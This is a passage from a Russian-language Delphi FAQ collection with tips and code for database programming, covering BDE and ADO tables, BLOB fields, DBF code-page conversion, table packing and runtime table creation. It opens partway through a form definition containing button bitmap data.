25. Height = 25. Hint = 'Удалить' Glyph.Data = { 76010000424D7601000000000000760000002800000020000000100000000100. 0400000000000001000000000000000000001000000000000000000000000000. 8000008000000080800080000000800080008080000080808000C0C0C0000000. FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333. 33333333333FFFFFFFFF333333000000000033333377777777773333330FFFFF. FFF03333337F333333373333330FFFFFFFF03333337F3FF3FFF73333330F00F0. 00F033333F7F773777373333300FFFFFFFF03333F73FFF3FF3F733330C0F0800. F0F0333F773F337737373330CC0FFFFFFFF033F777FFFFF3FFF7330CCCCC00F0. 00003F777777F737777730CCCCCC0FF0FF03F7777777FF37F3730CCCCCCC08F0. F03377777777F337F73330CCCCCC0FF0033337777777FFF77333330CCCCC0000. 333333777777777733333330CC3333333333333777333333333333330C333333. 3333333377333333333333333033333333333333373333333333}. NumGlyphs = 2. ParentShowHint = False. ShowHint = True. OnClick = SB2Click. End. Object SB3: TSpeedButton. Left = 49. Top = 209. Width = 25. Height = 25. Hint = 'Редактировать' Glyph.Data = { 76010000424D7601000000000000760000002800000020000000100000000100. 04000000000000010000120B0000120B00001000000000000000000000000000. 800000800000008080008000000080008000808000007F7F7F00BFBFBF000000. FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333000000. 000033333377777777773333330FFFFFFFF03FF3FF7FF33F3FF700300000FF0F. 00F077F777773F737737E00BFBFB0FFFFFF07773333F7F3333F7E0BFBF000FFF. F0F077F3337773F3F737E0FBFBFBF0F00FF077F3333FF7F77F37E0BFBF00000B. 0FF077F3337777737337E0FBFBFBFBF0FFF077F33FFFFFF73337E0BF0000000F. FFF077FF777777733FF7000BFB00B0FF00F07773FF77373377373330000B0FFF. FFF03337777373333FF7333330B0FFFF00003333373733FF777733330B0FF00F. 0FF03333737F37737F373330B00FFFFF0F033337F77F33337F733309030FFFFF. 00333377737FFFFF773333303300000003333337337777777333}. NumGlyphs = 2. ParentShowHint = False. ShowHint = True. OnClick = SB3Click. End. Object SB4: TSpeedButton. Left = 73. Top = 209. Width = 25. Height = 25. Hint = 'Отменить редактирование' Glyph.Data = { DE010000424DDE01000000000000760000002800000024000000120000000100. 0400000000006801000000000000000000001000000000000000000000000000. 80000080000000808000800000008000800080800000C0C0C000808080000000. FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333. 333333333333333333333333000033338833333333333333333F333333333333. 0000333911833333983333333388F333333F3333000033391118333911833333. 38F38F333F88F33300003339111183911118333338F338F3F8338F3300003333. 911118111118333338F3338F833338F3000033333911111111833333338F3338. 3333F8330000333333911111183333333338F333333F83330000333333311111. 8333333333338F3333383333000033333339111183333333333338F333833333. 00003333339111118333333333333833338F3333000033333911181118333333. 33338333338F333300003333911183911183333333383338F338F33300003333. 9118333911183333338F33838F338F33000033333913333391113333338FF833. 38F338F300003333333333333919333333388333338FFF830000333333333333. 3333333333333333333888330000333333333333333333333333333333333333. 0000}. NumGlyphs = 2. ParentShowHint = False. ShowHint = True. OnClick = SB4Click. End. Object P1: TPanel. Left = 0. Top = 0. Width = 246. Height = 206. BevelInner = bvRaised. BevelOuter = bvLowered. BevelWidth = 2. TabOrder = 0. Object RE: TRichEdit. Left = 5. Top = 5. Width = 236. Height = 196. ScrollBars = ssVertical. TabOrder = 0. End. End. Object DBN: TDBNavigator. Left = 149. Top = 209. Width = 96. Height = 25. DataSource = DS. VisibleButtons = [nbFirst, nbPrior, nbNext, nbLast]. TabOrder = 1. End. Object T1: TTable. Active = True. DatabaseName = 'CBDB' TableName = 'table.db' Left = 5. Top = 5. Object T1ID: TAutoIncField. FieldName = 'ID' Visible = False. End. Object T1BLOBData: TBlobField. FieldName = 'BLOBData' Visible = False. BlobType = ftBlob. Size = 64. End. End. Object OD: TOpenDialog. DefaultExt = 'rtf' Filter = 'RTF-файлы|*.rtf|Все файлы|*.*' Title = 'Выберите файл' Left = 5. Top = 35. End. Object DS: TDataSource. DataSet = T1. OnDataChange = DSDataChange. Left = 35. Top = 5. End. End.

Как записать в BLOB поле большой текст (более 255)?

Code: Var. S: TBlobStream; B: pointer; C: integer; ... Table1.Edit; S := TBlobStream.Create(Table1BlobField as TBlobField, bmWrite); {кажется, так}. C := S.write(B, C); Table1.Post; S.Destroy; Или так. Var. S: TMemoryStream; B: pointer; C: integer; ... S := TMemoryStream.Create; ... Table1.Edit; S.Clear; S.SetSize(C); C := S.write(B,C); (Table1BlobField as TBlobField).LoadFromStream(S); S.Clear; Table1.Post; ... S.Destroy;

При использовании DOS DBF файлов - перекодировка между форматами.

При использовании DOS DBF файлов можно сделать небольшую программку (или процедурку), которая произведет перекодировку между форматами. что-то типа:

Code: Function update_dos(s:string):string; Var c:STRING; I:INTEGeR; L:byte; Dd:char; Begin. I:=1; C:=''; While i< length(s)+1 do. Begin. L:=ord(s[i]); Inc(i); If (l>=128) and (l<=192)then l:=l+64 else. If (l>=224) and (l<240) then l:=l+16 else. If l=241 then l:=184 else. If l=240 then l:=168; Dd:=chr(l); C:=c+dd; End; Update_dos:=c; End; Function update_win(s:string):string; Var c:STRING; I:INTEGeR; L:byte; Dd:char; Begin. I:=1; C:=''; While i< length(s)+1 do. Begin. L:=ord(s[i]); Inc(i); If (l>=192) and (l<240)then l:=l-64 else. If (l>=240) and (l<256) then l:=l-16 else. If l=184 then l:=241 else. If l=168 then l:=240; Dd:=chr(l); C:=c+dd; End; Update_win:=c; End;

Как упаковать таблицу?

Code: Uses BDE; // for D3, для D2 не помню (что-то типа DbiProcs и еще что-то). // для примера. TLog: TTable; // таблица, юзающая d:\db\log.db. Var. TblDesc: CRTblDesc; Rslt: DBIResult; Dir: string; //имеется в виду huge string т.е. {$H+}. HDb: hDbiDb; Begin. TLog.Active := False; //деактивируем TTable. SetLength(Dir, dbiMaxNameLen + 1); DbiGetDirectory(tLog.DBHandle, False, PChar(Dir)); SetLength(Dir, StrLen(PChar(Dir))); DbiOpenDatabase(nil, nil, dbiReadWrite, dbiOpenExcl, nil, 0, nil, nil, hDb); DbiSetDirectory(hDb, PChar(Dir)); FillChar(TblDesc, sizeof(CRTblDesc), 0); StrPCopy(TblDesc.szTblName, 'd:\db\log.db'); // здесь должно быть полное имя файла. //которое можно: а) ввести руками; //б) вытащить из пропертей таблицы; //в) вытащить из алиаса; //г) см. FAQ. StrCopy(TblDesc.szTblType, szParadox); //BTW тут может и szDBase стоять. TblDesc.bPack := TRUE; DbiDoRestructure(hDb, 1, @TblDesc, nil, nil, nil, False); DbiCloseDatabase(hDb); End;

Обработка исключения index not found.

Как мне открыть таблицу dBASE без требуемого MDX-файла? Я постоянно получаю исключение "Index not found..." (индекс не найден).

Во время создания таблицы dBASE с production-индексом (MDX) в заголовке DBF-файла устанавливается специальный байт. При последующем открытии таблицы, dBASE-драйвер читает этот специальный байт и, если он установлен, он также пытается открыть файл MDX. Если попытка открыть файл MDX заканчивается неудачей, возникает исключительная ситуация.

Для решения этой проблемы вам необходимо обнулить этот байт (28-й десятичный байт) в файле DBF, избавляющий таблицу от зависимости MDX-файла.

Нижеприведенным модуль является простым примером того, как можно обработать исключение при открытии таблицы, обнулив этот байт в DBF-файле и вновь открыв таблицу.

Code: Unit Fixit; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, DB, DBTables, Grids, DBGrids; Type. TForm1 = class(TForm). Table1: TTable; ; Button1: TButton; Procedure Button1Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Const. TheTableDir = 'c:\temp\'; TheTableName = 'animals.dbf'; Procedure RemoveMDXByte(dbFile: string); { Данная процедура использует в качестве параметра имя файла DBF }. { и исправляет его заголовок для того, чтобы не требовать MDX-файл }. Const. Value: Byte = 0; Var. F: file of byte; Begin. AssignFile(F, dbFile); Reset(F); Seek(F, 28); Write(F, Value); CloseFile(F); End; Procedure TForm1.Button1Click(Sender: TObject); { Данная процедура вызывается в ответ на нажатие кнопки. Она }. { пытается открыть таблицу и, если файл .MDX не найден, }. { DBF-файл исправляется и управление вновь передается данной }. { процедуре для повторного открытия таблицы, но уже без MDX }. Begin. Try. { устанавливаем каталог таблицы }. Table1.DatabaseName := ThheTableDir; { устанавливаем имя таблицы }. Table1.TableName := TheTableName; { пытаемся открыть таблицу }. Table1.Open; Except. On E: EDBEngineError do. { Нижеследующее сообщение указывает на то, что файл MDX не найден: }. If Pos('Index does not exist. File', E.Message) > 0 then. Begin. { Сообщаем пользователю о наличии проблемы. }. MessageDlg('Файл MDX не найден. Попытка открытия. Без индекса.', mtWarning, [mbOk], 0); { удаляем байт MDX из заголовка таблицы }. RemoveMDXByte(TheTableDir + TheTableName); { Посылаем кнопке сообщение для эмуляции ее нажатия. }. { Этот трюк заставит данную процедуру выполниться }. { повторно, и таблица будет открыта без файла MDX }. PostMessage(Button1.Handle, cn_Command, bn_Clicked, 0); End; End; End; End.

Как создать dBASE таблицу во время выполнения.

Данная процедура полезна для создания временных таблиц :

Code: Procedure MakeDataBase; Begin. With TTable.Create(nil) do. Begin. DatabaseName := 'c:\temp'; (* alias *). TableName := 'test.dbf'; TableType := ttDBase; With FieldDefs do. Begin. Add('F_NAME', ftString,20,false); Add('L_NAME', ftString,30,false); End; CreateTable; { create a calculated index }. With IndexDefs do. Begin. Clear; { don't forget ixExpression in calculated indexes! }. AddIndex('name','Upper(L_NAME)+Upper(F_NAME)',[ixExpression]); End; End; End;

Как перекинуть все данные из одной базы данных в другую?

Есть такая утилита, к делфям в комплекте идет. DataPump называется. Перекинет тебе все, что надо, индексы создаст.

©Drkb::02407.

Взято с http://delphiworld.narod.ru.

Как загрузить иконку CD-ROM?

Code: Function GetCDIcon(Drive: Char): TIcon; Var. Ico: TIcon; Ini: TIniFile; S, p: string; I, j: Integer; Begin. //Abbrechen wenn "AutoRun.Inf" nicht existiert. //Abort if "AutoRun.inf" doesn't exists. If FileExists(Drive + ':\autorun.inf') = False then Exit; //"AutoRun.inf" offnen. //Opens the "AutoRun.inf". Ini := TIniFile.Create(Drive + ':\autorun.inf'); Ico := TIcon.Create; Try. //Dateinamen lesen. //Read the filename. S := ini.ReadString('Autorun', 'ICON', ''); //Abbrechen, wenn kein Icon festgelegt wurde. //Abort if there is no icon specified. If s = '' then Exit; //Icon von Datei laden. //load the icon from a file. If FileExists(s) then ico.LoadFromFile(s); If FileExists(Drive + ':\' + s) then ico.LoadFromFile(Drive + ':\' + s); //Icon aus einer Resource laden. //Load the icon from a Win32 resource. If (FileExists(s) = False) and (FileExists(Drive + ':\' + s) = False) then. Begin. For j := (Pos(',', s) + 1) to Length(s) do. Begin. P := p + s[j]; End; I := StrToInt(p); For j := Length(s) downto (Pos(',', s)) do. Delete(s, j, Length(s)); If FileExists(s) = False then s := Drive + ':\' + s; Ico.Handle := ExtractIcon(hinstance, PChar(s), i); End; Result := ico; Finally. Ini.Free; End; End;

©Drkb::01400.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Запись картинки в ADO таблицу.

Code: ADOQuery1.Edit; TBLOBField(ADOQuery1.FieldByName('myField')).LoadFromFile('c:\my.bmp'); ADOQuery1.Post;

Быстрый доступ к ADO.

Code: Unit ADO; {This unit provides a quick access into ADO. It handles all it's own exceptions. It assumes it is working with SQL Server, on a PLC Database. If an exception is thrown with a [PLCErr] suffix: The suffix is removed, and ErrMsg is set to the remaining string. Otherwise. The whole exception is reported in ErrMsg. Either way, the function call fails. Globals: adocn - connection which all other ADO objects use. Adors - Recordset. Adocmd - Command Object. Adocmdprm - Command Object set aside for Parametric querying. ConnectionString. - Connection String used for connecting. ErrMsg - Last Error Message. ADOActive - Indicator as to whether ADO has been started yet. Functions: General ADO. ADOStart:Boolean; ADOReset:Boolean; ADOStop:Boolean; Recordsets. RSOpen(SQL:string;adRSType,adLockType,adCmdType:integer;UseServer:Boolean):Boolean; RSClose:Boolean; Normal Command Procedures. CMDExec(SQL:string;adCmdType:integer):Boolean; Parametric Procedures. PRMClear:Boolean; PRMSetSP(StoredProcedure:string;WithClear:Boolean):Boolean; PRMAdd(ParamName:string;ParamType,ParamIO,ParamSize:integer;Val:variant):Boolean; PRMSetParamVal(ParamName:string;val:variant):Boolean; PRMGetParamVal(ParamName:string;var val:variant):Boolean; Field Operations. Function SQLStr(str:string;SQLStrType:TSQLStrType); Function SentenceCase(str:string):string; --to convert from 'FIELD_NAME' -> 'Field Name' call. SQLStr(SentenceCase(txt),ssFromSQL); } Interface. Uses OLEAuto, sysutils; Const. {Param Data Types}. AdInteger = 3; AdSingle = 4; AdDate = 7; AdBoolean = 11; AdTinyInt = 16; AdUnsignedTinyInt = 17; AdDateTime = 135; AdvarChar = 200; {Param Directions}. AdParamInput = 1; AdParamOutput = 2; AdParamReturnValue = 4; {Command Types}. AdCmdText = 1; AdCmdTable = 2; AdCmdStoredProc = 4; AdCmdTableDirect = 512; AdCmdFile = 256; {Cursor/RS Types}. AdOpenForwardOnly = 0; AdOpenKeyset = 1; AdOpenDynamic = 2; AdOpenStatic = 3; {Lock Types}. AdLockReadOnly = 1; AdLockOptimistic = 3; {Cursor Locations}. AdUseServer = 2; AdUseClient = 3; Function ADOReset: Boolean; Function ADOStop: Boolean; Function RSOpen(SQL: string; adRSType, adLockType, adCmdType: integer; UseServer: Boolean): Boolean; Function RSClose: Boolean; Function CMDExec(SQL: string; adCmdType: integer): Boolean; Function PRMClear: Boolean; Function PRMSetSP(StoredProcedure: string; WithClear: Boolean): Boolean; Function PRMAdd(ParamName: string; ParamType, ParamIO, ParamSize: integer; Val: Variant): Boolean; Function PRMSetParamVal(ParamName: string; val: variant): Boolean; Function PRMGetParamVal(ParamName: string; var val: variant): Boolean; Type. TSQLStrType = (ssToSQL, ssFromSQL); Function SQLStr(str: string; SQLStrType: TSQLStrType): string; Function SentenceCase(str: string): string; Var. Adocn, adors, adocmd, adocmdPrm: variant; ConnectionString, ErrMsg: string; ADOActive: boolean = false; Implementation. Var. UsingConnection: Boolean; Function ADOStart: Boolean; Begin. //Get the Object References. Try. Adocn := CreateOLEObject('ADODB.Connection'); Adors := CreateOLEObject('ADODB.Recordset'); Adocmd := CreateOLEObject('ADODB.Command'); Adocmdprm := CreateOLEObject('ADODB.Command'); Result := true; Except. On E: Exception do. Begin. ErrMsg := e.message; Result := false; End; End; ADOActive := result; End; Function ADOReset: Boolean; Begin. Result := false; //Ensure a clean slate... If not (ADOStop) then. Exit; //Restart all the ADO References. If not (ADOStart) then. Exit; //Wire up the Connections. //If the ADOconnetion fails, all objects will use the connection string. // directly - poorer performance, but it works!! Try. Adocn.ConnectionString := ConnectionString; Adocn.open; Adors.activeconnection := adocn; Adocmd.activeconnection := adocn; Adocmdprm.activeconnection := adocn; UsingConnection := true; Except. Try. Adocn := unassigned; UsingConnection := false; Adocmd.activeconnection := ConnectionString; Adocmdprm.activeconnection := ConnectionString; Except. On e: exception do. Begin. ErrMsg := e.message; Exit; End; End; End; Result := true; End; Function ADOStop: Boolean; Begin. Try. If not (varisempty(adocn)) then. Begin. Adocn.close; Adocn := unassigned; End; Adors := unassigned; Adocmd := unassigned; Adocmdprm := unassigned; Result := true; Except. On E: Exception do. Begin. ErrMsg := e.message; Result := false; End; End; ADOActive := false; End; Function RSOpen(SQL: string; adRSType, adLockType, adCmdType: integer; UseServer: Boolean): Boolean; Begin. Result := false; //Have two attempts at getting the required Recordset. If UsingConnection then. Begin. Try. If UseServer then. Adors.CursorLocation := adUseServer. Else. Adors.CursorLocation := adUseClient; Adors.open(SQL, , adRSType, adLockType, adCmdType); Except. If not (ADOReset) then. Exit; Try. If UseServer then. Adors.CursorLocation := adUseServer. Else. Adors.CursorLocation := adUseClient; Adors.open(SQL, , adRSType, adLockType, adCmdType); Except. On E: Exception do. Begin. ErrMsg := e.message; Exit; End; End; End; End. Else. Begin. //Use the Connetcion String to establish a link. Try. Adors.open(SQL, ConnectionString, adRSType, adLockType, adCmdType); Except. If not (ADOReset) then. Exit; Try. Adors.open(SQL, ConnectionString, adRSType, adLockType, adCmdType); Except. On E: Exception do. Begin. ErrMsg := e.message; Exit; End; End; End; End; Result := true; End; Function RSClose: Boolean; Begin. Try. Adors.Close; Result := true; Except. On E: Exception do. Begin. ErrMsg := e.message; Result := false; End; End; End; Function CMDExec(SQL: string; adCmdType: integer): Boolean; Begin. Result := false; //Have two attempts at the execution.. Try. Adocmd.commandtext := SQL; Adocmd.commandtype := adCmdType; Adocmd.execute; Except. Try. If not (ADOReset) then. Exit; Adocmd.commandtext := SQL; Adocmd.commandtype := adCmdType; Adocmd.execute; Except. On e: exception do. Begin. ErrMsg := e.message; Exit; End; End; End; Result := true; End; Function PRMClear: Boolean; Var. I: integer; Begin. Try. For i := 0 to (adocmdprm.parameters.count) - 1 do. Begin. Adocmdprm.parameters.delete(0); End; Result := true; Except. On e: exception do. Begin. ErrMsg := e.message; Result := false; End; End; End; Function PRMSetSP(StoredProcedure: string; WithClear: Boolean): Boolean; Begin. Result := false; //Have two attempts at setting the Stored Procedure... Try. Adocmdprm.commandtype := adcmdStoredProc; Adocmdprm.commandtext := StoredProcedure; If WithClear then. If not (PRMClear) then. Exit; Result := true; Except. Try. If not (ADOReset) then. Exit; Adocmdprm.commandtype := adcmdStoredProc; Adocmdprm.commandtext := StoredProcedure; //NB: No need to clear the parameters, as an ADOReset will have done this.. Result := true; Except. On e: exception do. Begin. ErrMsg := e.message; End; End; End; End; Function PRMAdd(ParamName: string; ParamType, ParamIO, ParamSize: integer; Val: Variant): Boolean; Var. DerivedParamSize: integer; Begin. //Only try once to add the parameter (a call to ADOReset would reset EVERYTHING!!). Try. Case ParamType of. AdInteger: DerivedParamSize := 4; AdSingle: DerivedParamSize := 4; AdDate: DerivedParamSize := 8; AdBoolean: DerivedParamSize := 1; AdTinyInt: DerivedParamSize := 1; AdUnsignedTinyInt: DerivedParamSize := 1; AdDateTime: DerivedParamSize := 8; AdvarChar: DerivedParamSize := ParamSize; End; Adocmdprm.parameters.append(adoCmdPrm.createparameter(ParamName, ParamType, ParamIO, DerivedParamSize, Val)); Except. On e: exception do. Begin. ErrMsg := e.message; End; End; End; Function PRMSetParamVal(ParamName: string; val: variant): Boolean; Begin. //Only try once to set the parameter (a call to ADOReset would reset EVERYTHING!!). Try. Adocmdprm.Parameters[ParamName].Value := val; Result := true; Except. On e: exception do. Begin. ErrMsg := e.message; Result := false; End; End; End; Function PRMGetParamVal(ParamName: string; var val: variant): Boolean; Begin. //Only try once to read the parameter (a call to ADOReset would reset EVERYTHING!!). Try. Val := adocmdprm.Parameters[ParamName].Value; Result := true; Except. On e: exception do. Begin. ErrMsg := e.message; Result := false; End; End; End; Function SQLStr(str: string; SQLStrType: TSQLStrType): string; Var. FindChar, ReplaceChar: char; Begin. {Convert ' '->'_' for ssToSQL (remove spaces). Convert '_'->' ' for ssFromSQL (remove underscores)}. Case SQLStrType of. SsToSQL: Begin. FindChar := ' '; ReplaceChar := '_'; End; SsFromSQL: Begin. FindChar := '_'; ReplaceChar := ' '; End; End; Result := str; While Pos(FindChar, result) > 0 do. Result[Pos(FindChar, result)] := ReplaceChar; End; Function SentenceCase(str: string): string; Var. Tmp: char; I {,len}: integer; NewWord: boolean; Begin. NewWord := true; Result := str; For i := 1 to Length(str) do. Begin. If (result[i] = ' ') or (result[i] = '_') then. NewWord := true. Else. Begin. Tmp := result[i]; If NewWord then. Begin. NewWord := false; Result[i] := chr(ord(result[i]) or 64); //Set bit 6 - makes uppercase. End. Else. Result[i] := chr(ord(result[i]) and 191); //reset bit 6 - makes lowercase. End; End; {This was the original way of doing it, but I wanted to look for spaces or '_'s, And it all seemed problematic - if I find a better way another day, I'll alter the above... If str<>'' then. Begin. Tmp:=LowerCase(str); Len:=length(tmp); Tmp:=Uppercase(copy(tmp,1,1))+copy(tmp,2,len); I:=pos('_',tmp); While i<>0 do. Begin. Tmp:=copy(tmp,1,i-1)+' '+Uppercase(copy(tmp,i+1,1))+copy(tmp,i+2,len-i); I:=pos('_',tmp); End; End; Result:=tmp;}. End; End.

Access Violation при передаче неполного параметра.

Автор: Дмитрий Померанцев.

Проблема обнаружена под операционной системой Windows 2000 SP3, в среде Delphi6, Delphi7 (скорее всего не зависит от версии Delphi) с использованием Microsoft Jet DB Engine версия 4, SP3.

Некоторый, вполне типичный, код заполнения запроса в процессе выполнения вызывает Access Violation, притом, что согласно документации все должно работать корректно.

Пример кода:

Допустим, есть база данных в MS Access 2000, имеющая таблицу main и в ней целочисленное (INT) поле id в качестве главного ключа. Так же есть компонент ADOQuery1: TADOQuery, для доступа к базе данных. Максимальное значение поля id может быть получено следующим кодом:

Code: ADOQuery1.Active := false; ADOQuery1.SQL.Clear; ADOQuery1.SQL.Add('SELECT max(id)'); // -- Сбой здесь !!! ADOQuery1.SQL.Add('AS idmax'); ADOQuery1.SQL.Add('FROM main'); ADOQuery1.Active := true;

Функция для быстрого копирования таблиц вместе со всеми дополнительными файлами.

Code: // Только для не SQL-ых, т.е не промышленных БД (dBase, Paradox ..). // Путь нужно задавать только АНГЛИЙСКИМИ буквами. Procedure QuickCopyTable(T: TTable; DestTblName: string; Overwrite: boolean); Var. DBType: DBIName; WasOpen: boolean; NumCopied: word; Begin. WasOpen := T.Active; If not WasOpen then. T.Open; Check(DbiGetProp(hDBIObj(T.Handle),drvDRIVERTYPE, @DBType,SizeOf(DBINAME), NumCopied)); Check(DbiCopyTable(T.DBHandle, Overwrite, PChar(T.TableName),DBType, PChar(DestTblName))); T.Active := WasOpen; End;

Создание таблицы с автоинкрементальным полем.

Допустим у вас имеется форма с кнопкой. Щелчок на кнопке с помощью DbiCreateTable должен создать таблицу Paradox с автоинкрементальным (приращиваемым) полем.

Code: Unit Autoinc; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, DBTables, DB, ExtCtrls, DBCtrls, Grids, DBGrids, StdCtrls, DbiTypes, DbiErrs, DBIProcs; Const. SzTblName = 'CR8PXTBL'; { Имя создаваемой таблицы. }. SzTblType = szPARADOX; { Используемый тип таблицы. }. { При создании таблицы используется полное описание поля }. Const. FldDes: array[0..1] of FLDDesc = ( ({ Поле 1 - AUTOINC }. IFldNum: 1; { Номер поля }. SzName: 'AUTOINC'; { Имя поля }. IFldType: fldINT32; { Тип поля }. ISubType: fldstAUTOINC; { Подтип поля }. IUnits1: 0; { Размер поля }. IUnits2: 0; { Десятичный порядок следования ( 0 ) }. IOffset: 0; { Смещение в записи ( 0 ) }. ILen: 0; { Длина в байтах ( 0 ) }. INullOffset: 0; { Для Null-битов ( 0 ) }. EfldvVchk: fldvNOCHECKS; { Проверка корректности ( 0 ) }. EfldrRights: fldrREADWRITE { Права }. ), ({ Поле 2 - ALPHA }. IFldNum: 2; szName: 'ALPHA'; IFldType: fldZSTRING; iSubType: fldUNKNOWN; IUnits1: 10; iUnits2: 0; IOffset: 0; iLen: 0; INullOffset: 0; efldvVchk: fldvNOCHECKS; EfldrRights: fldrREADWRITE. )); Type. TForm1 = class(TForm). Button1: TButton; Database1: TDatabase; Procedure Button1Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.Button1Click(Sender: TObject); Var. TblDesc: CRTblDesc; UNumFields: Integer; Rslt: DbiResult; ErrorString: array[0..dbiMaxMsgLen] of Char; Begin. FillChar(TblDesc, sizeof(CRTblDesc), #0); LStrCpy(TblDesc.szTblName, szTblName); LStrCpy(TblDesc.szTblType, szTblType); UNumFields := trunc(sizeof(fldDes) / sizeof(fldDes[0])); TblDesc.iFldCount := uNumFields; TblDesc.pfldDesc := @fldDes; Rslt := DbiCreateTable(Database1.Handle, TRUE, TblDesc); If Rslt <> dbiErr_None then. Begin. DbiGetErrorString(Rslt, ErrorString); MessageDlg(StrPas(ErrorString), mtWarning, [mbOk], 0); End; End; End.

Создание таблицы по образу и подобию.

Создайте во время выполнения программы пустую таблицу, скопируйте структуру существующей, включая первичный индекс. На практике это выглядит примерно так:

Code: Var. Table2 : TTable; Begin. Table1.FieldDefs.Update; Table1.IndexDefs.Update; Table2 := TTable.Create(nil); Table2.DatabaseName := Table1.DatabaseName; Table2.TableName := 'MyTable'; Table2.TableType := Table1.TableType; Table2.FieldDefs.Assign(Table1.FieldDefs); Table2.IndexDefs.Assign(Table1.IndexDefs); Table2.CreateTable ; End;

©Drkb::02604.

На ум сразу приходит операция присваивания значения свойству (стоящему с левой стороны от ':='), при которой Delphi в своих недрах вызывает метод 'write' и передает ему в виде единственного параметра все то, что находится в правой части выражения. Если свойство не имеет метода write, оно предназначено только для чтения. Вот определение свойства FieldDefs объекта TDataSet в файле DB.PAS:

Property FieldDefs: TFieldDefs read FFieldDefs write SetFieldDefs;

Как вы можете видеть, у него есть метод write. Следовательно, код:

Destination.FieldDefs := Source.FieldDefs;

В действительности делает такую операцию:

Destination.SetFieldDefs(Source.FieldDefs);

(за исключением того, что вы не можете использовать эту строку, поскольку SetFieldDefs определен в секции Private.).

Вот определение свойства IndexDefs объекта TTable в файле DBTABLES.PAS file:

Property IndexDefs: TIndexDefs read FIndexDefs;

В этом случае метод write отсутствует, поэтому свойство имеет атрибут только для чтения. Тем не менее, для самого объекта TIndexDefs существует метод Assign. Следовательно, следующий код должен работать:

Source.IndexDefs.Update;

Destination.IndexDefs.Assign(Source.IndexDefs);

Перед вызовом Assign для Source.IndexDefs вызывайте метод Update, чтобы быть уверенным в том, что вы получите то, что хотите.

Метод SetFieldDefs является процедурой с одной строкой кода, в которой вызывается метод FieldDefs Assign.

Также можно проверить, определен ли реально индекс, и, если нет, то при вызове IndexDefs.Assign вы можете получить исключение типа "List Index Out Of Bounds" (или что-то типа этого). Например, так:

If Source.IndexDefs.Count > 0 then...

Вам нужно будет это сделать, поскольку метод TIndexDefs.Assign не проверяет это перед копированием индекс-информации. Также вам нет необходимости вызывать Clear до работы с IndexDefs, поскольку метод Assign сделает это и без вашего участия.

©Drkb::02605.

Взято с http://delphiworld.narod.ru.

Создание кросс-таблицы.

Вы можете создать их в DBD как QBE-шки. Пользуясь компонентом TQBE для загрузки одной из библиотек, вы можете непосредственно использовать QBE-шки в вашем Delphi-приложении.

В следующем примере предполагается, что каждый служащий каждый день сообщает оператору о своем месторасположении. Код определяет начало трудовой недели с понедельника плюс еще четыре рабочих дня с показом соответствующей даты. Строки с 1 по 5 в QBE1.QBE (нулевая описательная) в нижеприведенной процедуре заменяются кодом. Результат всего этого в том, что строка (если имеется) для каждого человека отображается в колонке установленного результата и значение 'X' включается если только запись существует. Для создания агрегатной таблицы можно было бы подсчитывать результаты.

Текст в QBE1.QBE :

Code: CALLIN.DB | StaffNo | Date | | _join1 | 3/10/95 | | _join2 | 3/11/95 | | _join3 | 3/12/95 | | _join4 | 3/13/95 | | _join5 | 3/14/95 | XTAB.DB | StaffNo |Mon |Tue |Wed |Thu |Fri | | _join1 |changeto X| | | | | | _join2 | |changeto X| | | | | _join3 | | |changeto X| | | | _join4 | | | |changeto X| | | _join5 | | | | |changeto X|

Прокрутка таблицы - хитрость PeekMessage.

На днях я решил поиграть с API-функцией PeekMessage(). Функция работает, но ловить ее нужно следующим образом.

Я прокручиваю таблицу, связанную с набором данных. "Поиск" в наборе данных замедляет процесс скролирования (условимся называть "поиском" синхронное перемещение табличного курсора в процессе скроллирования, при котором текущей записью становится запись, ближайшая к нажимаемой кнопке полосы прокрутки). Возникла задача: необходимо отменить "поиск" (процесс слежения) и переместить указатель на необходимую запись только в случае остановки пользователем процесса скроллирования, другими словами - пока пользователь осуществляет скроллирование, "поиск" необходимо отменить. Итак, ко мне в голову пришла мысль, что с помощью PeekMessage() можно выловить определенное сообщение и тем самым отменить поиск во время прокрутки. Звучит просто, но на самом деле все оказалось наоборот.

Я установил фильтр поиска сообщений на WM_MOUSEFIRST/LAST. Ситуация: пользователь непрерывно прокручивает DBGrid вниз, т.е. держит нажатой нижнюю кнопку скроллирования. В результате PeekMessage() возвращает False - нас это не устраивает, это не то, что мы хотим. Положительный результат можно получить только в случае сверхскоростных манипуляций мышью.

Если в фильтре использовать 0 и 0, чтобы поймать любое сообщение, результат всегда будет True. Причина, очевидно в том, что любой щелчок мыши в области DBGrid никак не обойдется без последствий, генерация системой сообщения PAINT яркий тому пример, поэтому PeekMessage может возвратить True в любое время, что тоже не может нам помочь.

Было бы хорошо, если бы дескриптор DBGrid получал событие OnMouseUp() во время его скроллирования. Обидно, но OnMouseUp() работает только с DBGrid, а не с полосами прокрутки. OnMouseUp() с TForm при KeyPreview:=true не работает, я проверял.

После пришла идея опросить состояние кнопок мыши с помощью функции GetKeyState(). Пока кнопка нажата (DOWN), "поиск" запрещен, и наоборот. UP (кнопка отжата) свидетельствует об окончании процесса скроллирования. Данный способ работы с окном во время манипуляций с его полосой прокрутки заработал без проблем. Теперь все в порядке: поиска во время прокрутки не происходит и табличный курсор также никуда не перемещается.

Рассмотренная тема имеет отношение к полосам прокрутки, а события OnKeyUp() и OnMouseUp() могут применяться где-нибудь еще.

©Drkb::03023.

Взято с http://delphiworld.narod.ru.

Получение информации о таблице.

Вам нужно воспользоваться свойством FieldDefs. В следующем примере список полей и их соответствующий размер передается компоненту TMemo (расположенному на форме) с именем Memo1:

Code: Procedure TForm1.ShowFields; Var. I: Word; Begin. Memo1.Lines.Clear; Table1.FieldDefs.Update; { должно быть вызвано, если Table1 не активна }. For i := 0 to Table1.FieldDefs.Count - 1 do. With Table1.FieldDefs.Items[i] do. Memo1.Lines.Add(Name + ' - ' + IntToStr(Size)); End;

Кросс-таблица через pivot-таблицу.

